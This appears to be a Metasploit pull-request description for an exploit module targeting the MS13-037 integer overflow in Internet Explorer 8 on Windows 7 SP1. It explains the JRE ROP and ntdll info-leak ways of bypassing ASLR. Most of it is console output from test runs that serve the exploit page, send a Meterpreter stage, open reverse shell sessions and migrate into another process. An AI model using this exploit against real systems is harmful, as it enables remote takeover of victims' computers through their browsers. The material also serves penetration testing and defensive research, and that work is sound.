Add module for MS13-037 CVE-2013-2551

This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v 6.1.7601.17514 in order to work (the default dll version on a fresh Windows 7 SP1 installation).


* Targets:

```
msf exploit(ms13_037_svg_dashstyle_runtime) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   IE 8 on Windows 7 SP1 with JRE ROP
   2   IE 8 on Windows 7 SP1 with ntdll.dll Info Leak

```

* ntdll info leak:

```
msf exploit(ms13_037_svg_dashstyle_runtime) > show options

Module options (exploit/windows/browser/ms13_037_svg_dashstyle_runtime):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   OBFUSCATE   false            no        Enable JavaScript obfuscation
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   2   IE 8 on Windows 7 SP1 with ntdll.dll Info Leak


msf exploit(ms13_037_svg_dashstyle_runtime) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://0.0.0.0:8080/q9P08myAd0Y
[*]  Local IP: http://10.6.0.165:8080/q9P08myAd0Y
[*] Server started.
msf exploit(ms13_037_svg_dashstyle_runtime) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf exploit(ms13_037_svg_dashstyle_runtime) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://0.0.0.0:8080/tLD3VP6rbhq
[*]  Local IP: http://10.6.0.165:8080/tLD3VP6rbhq
[*] Server started.
msf exploit(ms13_037_svg_dashstyle_runtime) > [*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Requesting: /tLD3VP6rbhq
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Sending HTML to info leak...
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Requesting: /tLD3VP6rbhq/ShwfHPlJkn?EDQrV=1997566128
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Using ntdll ROP
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Sending HTML to trigger...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:49669) at 2013-06-12 07:33:06 -0500
[*] Session ID 1 (10.6.0.165:4444 -> 10.6.0.165:49669) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1336)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3320
[+] Successfully migrated to process 

```

* JRE ROP

```
msf exploit(ms13_037_svg_dashstyle_runtime) > set target 0
target => 0
msf exploit(ms13_037_svg_dashstyle_runtime) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Using URL: http://0.0.0.0:8080/G3zV5R
[*]  Local IP: http://10.6.0.165:8080/G3zV5R
[*] Server started.
msf exploit(ms13_037_svg_dashstyle_runtime) > [*] 192.168.172.215 - Meterpreter session 1 closed.  Reason: Died
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Requesting: /G3zV5R
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Target selected as: IE 8 on Windows 7 SP1 with JRE ROP
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Using JRE ROP
[*] 10.6.0.165       ms13_037_svg_dashstyle_runtime - Sending HTML to trigger...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:49674) at 2013-06-12 07:34:29 -0500
[*] Session ID 2 (10.6.0.165:4444 -> 10.6.0.165:49674) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1844)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1656
[+] Successfully migrated to process 

```